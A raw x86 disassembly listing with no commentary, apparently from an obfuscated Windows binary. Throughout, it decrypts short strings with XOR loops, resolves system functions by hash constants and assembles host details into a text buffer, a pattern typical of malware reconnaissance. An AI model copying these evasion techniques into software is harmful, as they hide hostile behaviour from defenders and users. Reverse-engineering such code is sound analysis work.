mov byte [esp + 0x20], al
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xb0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x153fee2a
sete cl
mov dword [esp + 0x24c], ecx
mov eax, dword [esp + 0x250]
mov ecx, dword [esp + 0x24c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x33a9d16e
setl cl
mov dword [esp + 0x27c], ecx
mov ecx, dword [esp + 0x280]
mov edx, dword [esp + 0x27c]
mov ecx, dword [ecx + edx*4]
jmp ecx
jmp 0x4244ae
mov dword [esi + 0xc], ebx
movzx edi, word [eax]
test di, di
je 0x42447a
mov edx, eax
add edx, 2
xor ebx, ebx
jmp 0x424376
mov ecx, ebx
and ecx, 1
xor ebx, 1
lea ebx, [ebx + ecx*2]
movzx edi, word [edx]
add edx, 2
test di, di
je 0x424395
cmp di, 0x7f
jbe 0x424360
movzx ecx, di
cmp ecx, 0x7ff
ja 0x424390
add ebx, 2
jmp 0x42436b
add ebx, 3
jmp 0x42436b
mov edx, eax
lea eax, [ebx + 4]
and eax, 0xfffffffc
call fcn.00408f30
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
test ebx, ebx
jle 0x424482
lea ecx, [eax + ebx]
mov dword [esi + 0x14], ecx
inc ebx
add ebx, eax
mov dword [esi + 0x9c], ebx
mov edi, eax
mov ecx, edx
jmp 0x4243e5
mov byte [edi], bl
mov edx, 1
add ecx, 2
add edi, edx
cmp edi, dword [esi + 0x14]
jae 0x424484
movzx ebx, word [ecx]
test bx, bx
je 0x424484
cmp bx, 0x7f
jbe 0x4243d0
mov dword [esi + 0x30], ecx
mov edx, edi
not edx
add edx, dword [esi + 0x9c]
movzx ecx, bx
mov dword [esi + 0x10], ecx
cmp edx, 2
jb 0x424440
cmp dword [esi + 0x10], 0x7ff
ja 0x424440
mov edx, ebx
shr edx, 6
add dl, 0xc0
mov byte [edi], dl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov edx, 2
mov ecx, dword [esi + 0x30]
jmp 0x4243d7
cmp edx, 3
mov edx, 0
mov ecx, dword [esi + 0x30]
jb 0x4243d7
mov edx, dword [esi + 0x10]
shr edx, 0xc
or dl, 0xe0
mov byte [edi], dl
mov edx, dword [esi + 0x10]
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [edi + 1], dl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov edx, 3
jmp 0x4243d7
push eax
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov edi, eax
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
mov ebx, dword [esi + 0xc]
je 0x4244ab
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4244a0
mov byte [ebx], 0
mov byte [ebx], 0xa
inc ebx
lea eax, [esi + 0x1ec]
push eax
call fcn.00426d70
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x43f934]
jmp 0x424e8e
mov ecx, dword [esi + 0x1ec]
mov byte [esi + 0x7fa], 0
test ecx, ecx
mov dword [esi + 0xc], ebx
je 0x424532
lea ebx, [esi + 0x7fa]
cmp ecx, 0x64
jb 0x424541
nop
mov eax, ecx
mov edx, 0x51eb851f
mul edx
shr edx, 5
imul eax, edx, 0x64
mov edi, ebx
mov ebx, ecx
sub ebx, eax
movzx eax, word [ebx + ebx + 0x43a318]
mov ebx, edi
mov word [edi - 2], ax
add ebx, 0xfffffffe
cmp ecx, 0x270f
mov ecx, edx
ja 0x4244f0
cmp edx, 9
ja 0x424548
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ebx - 1], al
dec ebx
jmp 0x42456d
lea ebx, [esi + 0x7f9]
mov byte [esi + 0x7f9], 0x30
jmp 0x42456d
mov edx, ecx
cmp edx, 9
jbe 0x424525
mov eax, edx
and eax, 0x7d
mov ecx, edx
and ecx, 2
or edx, 2
imul edx, ecx
xor ecx, 2
imul ecx, eax
movzx eax, word [ecx + edx + 0x43a318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
mov edi, dword [esi + 0x1f0]
mov byte [esi + 0xf2], 0
test edi, edi
mov dword [esi + 0x10], ebx
je 0x4245d0
lea ebx, [esi + 0xf2]
cmp edi, 0x64
jb 0x4245df
nop
nop
nop
nop
mov eax, edi
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, edi
sub ecx, eax
movzx eax, word [ecx + ecx + 0x43a318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
cmp edi, 0x270f
mov edi, edx
ja 0x424590
cmp edx, 9
ja 0x4245e6
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov ecx, ebx
mov byte [ebx - 1], al
dec ecx
jmp case.0x41e1b5.360
lea ecx, [esi + 0xf1]
mov byte [esi + 0xf1], 0x30
jmp case.0x41e1b5.360
mov edx, edi
cmp edx, 9
jbe 0x4245c1
mov eax, edx
and eax, 0x7d
mov ecx, edx
and ecx, 2
or edx, 2
imul edx, ecx
xor ecx, 2
imul ecx, eax
movzx eax, word [ecx + edx + 0x43a318]
mov ecx, ebx
mov word [ebx - 2], ax
add ecx, 0xfffffffe
mov ebx, dword [esi + 0x1f4]
mov byte [esi + 0x74e], 0
test ebx, ebx
mov dword [esi + 0x14], ecx
je 0x42466e
lea edi, [esi + 0x74e]
cmp ebx, 0x64
jb 0x42467d
nop
nop
nop
nop
mov eax, ebx
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, ebx
sub ecx, eax
movzx eax, word [ecx + ecx + 0x43a318]
mov word [edi - 2], ax
add edi, 0xfffffffe
cmp ebx, 0x270f
mov ebx, edx
ja 0x424630
cmp edx, 9
ja 0x424684
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [edi - 1], al
dec edi
jmp 0x4246a9
lea edi, [esi + 0x74d]
mov byte [esi + 0x74d], 0x30
jmp 0x4246a9
mov edx, ebx
cmp edx, 9
jbe 0x424661
mov eax, edx
and eax, 0x7d
mov ecx, edx
and ecx, 2
or edx, 2
imul edx, ecx
xor ecx, 2
imul ecx, eax
movzx eax, word [ecx + edx + 0x43a318]
mov word [edi - 2], ax
add edi, 0xfffffffe
mov eax, dword [esi + 0x1fc]
mov dword [esi + 0x544], 0x3c425c7a
mov dword [esi + 0x548], 0x2304537
mov dword [esi + 0x54c], 0x4030a0a
mov dword [esi + 0x550], 0x7f5e3702
mov dword [esi + 0x554], 0
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x13
ja 0x424724
mov ecx, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edx, byte [esi + edx + 0x544]
add ecx, 0x357872e8
xor ecx, edx
mov dword [esi + 0x38], ecx
mov ecx, dword [esi + 0x38]
add cl, 0x78
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x544], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x14
jb 0x4246f0
movzx ecx, byte [esi + 0x544]
test cl, cl
je 0x42474d
lea edx, [esi + 0x545]
mov ebx, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x424740
jmp 0x424750
mov ebx, dword [esi + 0xc]
mov edx, ebx
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42476d
inc eax
mov ebx, dword [esi + 0x10]
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x424760
jmp 0x424770
mov ebx, dword [esi + 0x10]
mov word [edx], 0x2820
add edx, 2
movzx eax, byte [ebx]
test al, al
je 0x42479d
inc ebx
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x424790
jmp 0x42479f
mov ecx, edx
mov byte [ecx], 0x2e
inc ecx
mov edx, dword [esi + 0x14]
movzx eax, byte [edx]
test al, al
je 0x4247bb
inc edx
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x4247b0
mov byte [ecx], 0
mov byte [ecx], 0x2e
inc ecx
movzx eax, byte [edi]
test al, al
je 0x4247dd
inc edi
mov ebx, ecx
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x4247d0
jmp 0x4247df
mov ebx, ecx
mov byte [ebx], 0x29
inc ebx
lea eax, [esi + 0xd8]
push eax
call fcn.00436f60
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x43f93c]
mov eax, ebx
jmp dword [0x43f970]
jmp dword [0x43f944]
lea eax, [ebx + 1]
mov byte [ebx], 0x20
mov ecx, dword [esi + 0xd8]
jmp dword [0x43f950]
mov byte [ebx], 0x20
lea eax, [ebx + 1]
mov byte [ebx], 0x20
mov ecx, dword [esi + 0xd8]
jmp dword [0x43f950]
xor edx, edx
cmp ecx, 1
sete dl
jmp dword [edx*4 + 0x43f954]
mov dword [esi + 0x38], 0x19e6e1a4
mov word [esi + 0x3c], 0
mov byte [esi + 0x3e], 0
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x18]
cmp ecx, 6
ja 0x42489e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x38]
add ecx, 0xddfe86fb
xor ecx, edx
mov dword [esi + 0x6c], ecx
mov ecx, dword [esi + 0x6c]
add cl, 0x19
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x38], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 7
jb 0x424870
lea ecx, [esi + 0x38]
jmp 0x42498c
jmp dword [0x43f95c]
mov dword [esi + 0x544], 0x93a0a218
mov word [esi + 0x548], 0
mov byte [esi + 0x54a], 0
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x18]
cmp ecx, 6
ja case.0x41e1b5.366
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x544]
add ecx, 0x5939d61c
xor ecx, edx
mov dword [esi + 0x6c], ecx
mov ecx, dword [esi + 0x6c]
add cl, 0x74
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x544], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 7
jb 0x4248e0
jmp case.0x41e1b5.366
jmp dword [0x43f964]
mov dword [esi + 0x544], 0x93a0a218
mov word [esi + 0x548], 0
mov byte [esi + 0x54a], 0
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x18]
cmp ecx, 6
ja 0x424920
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x544]
add ecx, 0x5939d61c
xor ecx, edx
mov dword [esi + 0x6c], ecx
mov ecx, dword [esi + 0x6c]
add cl, 0x74
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x544], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 7
jb 0x424950
jmp 0x424920
lea ecx, [esi + 0x544]
movzx edx, byte [ecx]
test dl, dl
je 0x4249ab
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4249a0
mov byte [eax], 0
jmp dword [0x43f970]
mov dword [esi + 0x544], 0xa792847a
mov dword [esi + 0x548], 0xcbdfdecb
mov dword [esi + 0x54c], 0xc7dbb598
mov dword [esi + 0x550], 0x47a6bfe9
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 0x6c]
cmp ecx, 0xf
ja 0x424a24
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edx, byte [esi + edx + 0x544]
add ecx, 0x240cc894
xor ecx, edx
mov dword [esi + 0x38], ecx
mov ecx, dword [esi + 0x38]
add cl, 0x1c
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x544], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x10
jb 0x4249f0
movzx edx, byte [esi + 0x544]
mov ecx, eax
test dl, dl
je 0x424a4b
lea edi, [esi + 0x545]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], dl
inc ecx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x424a40
mov byte [ecx], 0
movzx edx, byte [esi + 0x200]
test dl, dl
je 0x424a6b
lea edi, [esi + 0x201]
nop
mov byte [ecx], dl
inc ecx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x424a60
mov byte [ecx], 0
mov dword [esi + 0x544], 0x8d46503e
mov dword [esi + 0x548], 0x5d9d949b
mov dword [esi + 0x54c], 0x86888e96
mov dword [esi + 0x550], 0x99955b72
mov word [esi + 0x554], 0x3769
mov dword [esi + 0x556], 0
mov word [esi + 0x55a], 0
mov dword [esi + 0x6c], 0
mov edx, dword [esi + 0x6c]
cmp edx, 0x17
ja 0x424b0e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x6c]
mov edi, dword [esi + 0x6c]
movzx ebx, byte [esi + edi + 0x544]
lea edi, [edx + ebx]
add edx, 9
and edx, ebx
add edx, edx
sub edi, edx
add edi, 0x3bca9409
mov dword [esi + 0x38], edi
mov edx, dword [esi + 0x38]
add dl, 0xd3
mov edi, dword [esi + 0x6c]
mov byte [esi + edi + 0x544], dl
inc dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
cmp edx, 0x18
jb 0x424ad0
movzx edx, byte [esi + 0x544]
test dl, dl
je 0x424b2b
lea edi, [esi + 0x545]
nop
mov byte [ecx], dl
inc ecx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x424b20
mov byte [ecx], 0
jmp case.0x41e1b5.371
mov byte [ebx], 0
jmp dword [0x43f978]
mov dword [esi + 0x544], 0xa792847a
mov dword [esi + 0x548], 0xcbdfdecb
mov dword [esi + 0x54c], 0xc7dbb598
mov dword [esi + 0x550], 0x47a6bfe9
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 0x6c]
cmp ecx, 0xf
ja 0x424ba4
mov ecx, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edx, byte [esi + edx + 0x544]
add ecx, 0x240cc894
xor ecx, edx
mov dword [esi + 0x38], ecx
mov ecx, dword [esi + 0x38]
add cl, 0x1c
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x544], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x10
jb 0x424b70
movzx ecx, byte [esi + 0x544]
mov edi, eax
test cl, cl
je 0x424bcb
lea edx, [esi + 0x545]
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x424bc0
mov byte [edi], 0
movzx ecx, byte [esi + 0x200]
test cl, cl
je 0x424beb
lea edx, [esi + 0x201]
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x424be0
lea ecx, [esi + 0x556]
mov ebx, edi
mov byte [edi], 0
mov dword [esi + 0x544], 0x8d46503e
mov dword [esi + 0x548], 0x5d9d949b
mov dword [esi + 0x54c], 0x86888e96
mov dword [esi + 0x550], 0x99955b72
mov word [esi + 0x554], 0x3769
mov word [ecx + 4], 0
mov dword [ecx], 0
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x17
ja 0x424c8e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edi, byte [esi + edx + 0x544]
lea edx, [ecx + edi]
add ecx, 9
and ecx, edi
add ecx, ecx
sub edx, ecx
add edx, 0x3bca9409
mov dword [esi + 0x38], edx
mov ecx, dword [esi + 0x38]
add cl, 0xd3
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x544], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x18
jb 0x424c50
movzx ecx, byte [esi + 0x544]
test cl, cl
je 0x424b30
lea edx, [esi + 0x545]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x424cb0
jmp 0x424b30
movzx edx, word [esi + 0x214]
xor eax, eax
test dx, dx
setns al
jmp dword [eax*4 + 0x43f97c]
jmp 0x424ce3
mov byte [ebx], 0x2b
inc ebx
movzx edx, word [esi + 0x214]
mov byte [esi + 0x3e], 0
test dx, dx
je 0x424d44
mov dword [esi + 0xc], ebx
lea eax, [esi + 0x3e]
movsx edi, dx
sar edi, 0xf
mov dword [esi + 0x10], edx
xor edx, edi
sub edx, edi
cmp dx, 0x64
jb 0x424d4f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, dx
mov edi, ebx
shr edi, 2
imul edi, edi, 0x147b
shr edi, 0x11
imul ecx, edi, 0x64
sub edx, ecx
movzx ecx, dx
movzx ecx, word [ecx + ecx + 0x43a318]
mov word [eax - 2], cx
add eax, 0xfffffffe
mov edx, edi
cmp ebx, 0x270f
ja 0x424d10
jmp 0x424d51
lea eax, [esi + 0x3d]
mov byte [esi + 0x3d], 0x30
mov dl, 0x30
jmp 0x424dad
mov edi, edx
movzx edx, di
cmp dx, 9
ja 0x424d67
movzx edx, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [eax - 1], dl
dec eax
jmp 0x424d96
mov ebx, edx
and ebx, 2
mov edi, edx
or edx, 2
imul edx, ebx
xor ebx, 2
and edi, 0x7d
imul edi, ebx
movzx ecx, byte [edi + edx + 0x43a319]
movzx edx, byte [edi + edx + 0x43a318]
mov byte [eax - 1], cl
mov byte [eax - 2], dl
add eax, 0xfffffffe
mov ebx, dword [esi + 0xc]
cmp word [esi + 0x10], 0
js 0x424da6
test dl, dl
jne 0x424dad
jmp 0x424dbb
mov byte [eax - 1], 0x2d
dec eax
mov dl, 0x2d
inc eax
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [eax]
inc eax
test dl, dl
jne 0x424db0
mov byte [ebx], 0
mov dword [esi + 0x544], 0x5a72449a
mov dword [esi + 0x548], 0x3e020e0a
mov dword [esi + 0x54c], 0x577a0d0c
mov dword [esi + 0x550], 0x5d2b1925
mov word [esi + 0x554], 0x8160
mov dword [esi + 0x556], 0
mov dword [esi + 0x18], 0
mov eax, dword [esi + 0x18]
cmp eax, 0x15
ja 0x424e42
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
movzx ecx, byte [esi + ecx + 0x544]
add eax, 0xf9f900e4
xor eax, ecx
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x6c]
add al, 0x8c
mov ecx, dword [esi + 0x18]
mov byte [esi + ecx + 0x544], al
inc dword [esi + 0x18]
mov eax, dword [esi + 0x18]
cmp eax, 0x16
jb 0x424e10
movzx eax, byte [esi + 0x544]
test al, al
je 0x424e6b
lea ecx, [esi + 0x545]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x424e60
mov byte [ebx], 0
movzx eax, byte [esi + 0x216]
test al, al
je 0x424e8b
lea ecx, [esi + 0x217]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x424e80
mov byte [ebx], 0
mov eax, dword [esi + 0x1fc]
test eax, eax
je 0x424ea1
push eax
call fcn.00408f70
add esp, 4
call fcn.0042f480
movzx eax, al
jmp dword [eax*4 + 0x43f984]
mov dword [esi + 0x544], 0xece6dc9e
mov word [esi + 0x548], 0x7fe3
mov dword [esi + 0x54a], 0
mov dword [esi + 0x7f0], 0
mov eax, dword [esi + 0x7f0]
cmp eax, 9
ja 0x424fc7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7f0]
mov ecx, dword [esi + 0x7f0]
movzx ecx, byte [esi + ecx + 0x544]
lea edx, [eax + 0xbf]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0x944957bf
mov dword [esi + 0x1ec], eax
mov eax, dword [esi + 0x1ec]
add al, 0x45
mov ecx, dword [esi + 0x7f0]
mov byte [esi + ecx + 0x544], al
inc dword [esi + 0x7f0]
mov eax, dword [esi + 0x7f0]
cmp eax, 0xa
jb 0x424ef0
jmp 0x424fc7
mov dword [esi + 0x544], 0x52414540
mov byte [esi + 0x548], 0xc8
mov dword [esi + 0x549], 0
mov byte [esi + 0x54d], 0
mov dword [esi + 0x7f0], 0
mov eax, dword [esi + 0x7f0]
cmp eax, 9
ja 0x424fc7
nop
mov eax, dword [esi + 0x7f0]
mov ecx, dword [esi + 0x7f0]
movzx ecx, byte [esi + ecx + 0x544]
add eax, 0xa408c1b3
xor eax, ecx
mov dword [esi + 0x1ec], eax
mov eax, dword [esi + 0x1ec]
add al, 0x81
mov ecx, dword [esi + 0x7f0]
mov byte [esi + ecx + 0x544], al
inc dword [esi + 0x7f0]
mov eax, dword [esi + 0x7f0]
cmp eax, 0xa
jb 0x424f80
lea eax, [esi + 0x544]
mov dword [esi + 0x1ec], 0x7e12043a
mov dword [esi + 0x1f0], 0x5e405048
mov dword [esi + 0x1f4], 0x1565444
mov dword [esi + 0x1f8], 0x4564
mov dword [esi + 0xe8], 0
mov ecx, dword [esi + 0xe8]
cmp ecx, 0xf
ja 0x425070
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0xe8]
mov edx, dword [esi + 0xe8]
movzx edi, byte [esi + edx + 0x1ec]
lea edx, [ecx + edi]
add edx, 0x5c88ac34
add ecx, 0x5c88ac34
and ecx, edi
mov edi, edx
not edi
and edi, ecx
add edi, ecx
not ecx
and ecx, edx
sub ecx, edi
mov dword [esi + 0x7f0], ecx
mov ecx, dword [esi + 0x7f0]
add cl, 0xfc
mov edx, dword [esi + 0xe8]
mov byte [esi + edx + 0x1ec], cl
inc dword [esi + 0xe8]
mov ecx, dword [esi + 0xe8]
cmp ecx, 0x10
jb 0x425010
movzx ecx, byte [esi + 0x1ec]
test cl, cl
je 0x42509b
lea edx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x425090
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4250bb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4250b0
mov byte [ebx], 0
mov byte [esi + 0xd8], 0
mov dword [esi + 0xd0], 0x10
push 0x4cbcd57b
push dword [0x442dd4]
call fcn.004365c0
add esp, 8
lea ecx, [esi + 0xd0]
lea edx, [esi + 0xd8]
push ecx
push edx
call eax
mov dword [esi + 0x1ec], 0x80e2ecca
mov dword [esi + 0x1f0], 0x5256a8ab
mov dword [esi + 0x1f4], 0x9158ac5c
mov dword [esi + 0x1f8], 0xcdec
mov byte [esi + 0x1fc], 0
mov dword [esi + 0x7f0], 0
mov eax, dword [esi + 0x7f0]
cmp eax, 0x10
ja 0x425187
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7f0]
mov ecx, dword [esi + 0x7f0]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0xb84e43d0
xor eax, ecx
mov dword [esi + 0x544], eax
mov eax, dword [esi + 0x544]
add al, 0xf0
mov ecx, dword [esi + 0x7f0]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x7f0]
mov eax, dword [esi + 0x7f0]
cmp eax, 0x11
jb 0x425140
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4251ab
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4251a0
mov byte [ebx], 0
movzx eax, byte [esi + 0xd8]
test al, al
je 0x4251cb
lea ecx, [esi + 0xd9]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4251c0
mov edi, ebx
mov byte [ebx], 0
mov dword [esi + 0x7f0], 0
mov dword [esi + 0x7f4], 0
mov eax, dword [0x441ac8]
mov dword [esi + 0x1ec], 0x79167b13
mov dword [esi + 0x1f0], 0x650967e2
mov dword [esi + 0x1f4], 0x61f563f4
mov dword [esi + 0x1f8], 0x6d306f3d
mov dword [esi + 0x1fc], 0x69066b3e
mov dword [esi + 0x200], 0x950297fc
mov word [esi + 0x204], 0x9394
mov dword [esi + 0x206], 0
mov dword [esi + 0xe8], 0
mov ecx, dword [esi + 0xe8]
cmp ecx, 0x1d
ja 0x425299
nop
nop
nop
mov ecx, dword [esi + 0xe8]
mov edx, dword [esi + 0xe8]
movzx edx, byte [esi + edx + 0x1ec]
add ecx, 0x723d636b
xor ecx, edx
mov dword [esi + 0x544], ecx
mov ecx, dword [esi + 0x544]
add cl, 0xe9
mov edx, dword [esi + 0xe8]
mov byte [esi + edx + 0x1ec], cl
inc dword [esi + 0xe8]
mov ecx, dword [esi + 0xe8]
cmp ecx, 0x1e
jb 0x425250
push 0x800
push 0
lea ecx, [esi + 0x1ec]
push ecx
call eax
lea ecx, [esi + 0x7f0]
push eax
call fcn.004343e0
movzx eax, al
jmp dword [eax*4 + 0x43f98c]
jmp 0x4253ec
mov byte [esi + 0x1ec], 0
mov dword [esi + 0x38], 0x101
push 0x19cb8461
push dword [esi + 0x7f0]
call fcn.004365c0
add esp, 8
lea ecx, [esi + 0x38]
push ecx
lea ecx, [esi + 0x1ec]
push ecx
call eax
mov dword [esi + 0x544], 0x3a764c6e
mov dword [esi + 0x548], 0x551c081b
mov word [esi + 0x54c], 0x9170
mov dword [esi + 0x54e], 0
mov byte [esi + 0x552], 0
mov dword [esi + 0x744], 0
mov eax, dword [esi + 0x744]
cmp eax, 0xe
ja case.0x41e1b5.381
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x744]
mov ecx, dword [esi + 0x744]
movzx ecx, byte [esi + ecx + 0x544]
add eax, 0xf3c1a566
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 2
mov ecx, dword [esi + 0x744]
mov byte [esi + ecx + 0x544], al
inc dword [esi + 0x744]
mov eax, dword [esi + 0x744]
cmp eax, 0xf
jb 0x425340
movzx eax, byte [esi + 0x544]
test al, al
je 0x4253ab
lea ecx, [esi + 0x545]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4253a0
mov edx, edi
mov byte [edi], 0
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4253db
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4253d0
mov byte [edx], 0
mov edi, edx
push dword [esi + 0x7f0]
call dword [0x441bcc]
push 0x6ead8a84
push dword [0x442dd4]
call fcn.004365c0
add esp, 8
mov ebx, eax
mov byte [esi + 0x544], 0
mov dword [esi + 0xcc], 0x200
lea eax, [esi + 0xcc]
lea ecx, [esi + 0x544]
push eax
push ecx
push 6
call ebx
mov dword [esi + 0x1ec], 0x2bf6ccee
mov dword [esi + 0x1f0], 0xa330007
mov dword [esi + 0x1f4], 0x8feed702
mov word [esi + 0x1f8], 0
mov dword [esi + 0xe8], 0
mov eax, dword [esi + 0xe8]
cmp eax, 0xd
ja 0x4254b3
mov eax, dword [esi + 0xe8]
mov ecx, dword [esi + 0xe8]
movzx ecx, byte [esi + ecx + 0x1ec]
lea edx, [eax + 0xa6]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0x93c8f5a6
mov dword [esi + 0x7f0], eax
mov eax, dword [esi + 0x7f0]
add al, 0xc2
mov ecx, dword [esi + 0xe8]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0xe8]
mov eax, dword [esi + 0xe8]
cmp eax, 0xe
jb 0x425460
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4254db
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4254d0
mov edx, edi
mov byte [edi], 0
movzx eax, byte [esi + 0x544]
test al, al
je 0x42550b
lea ecx, [esi + 0x545]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
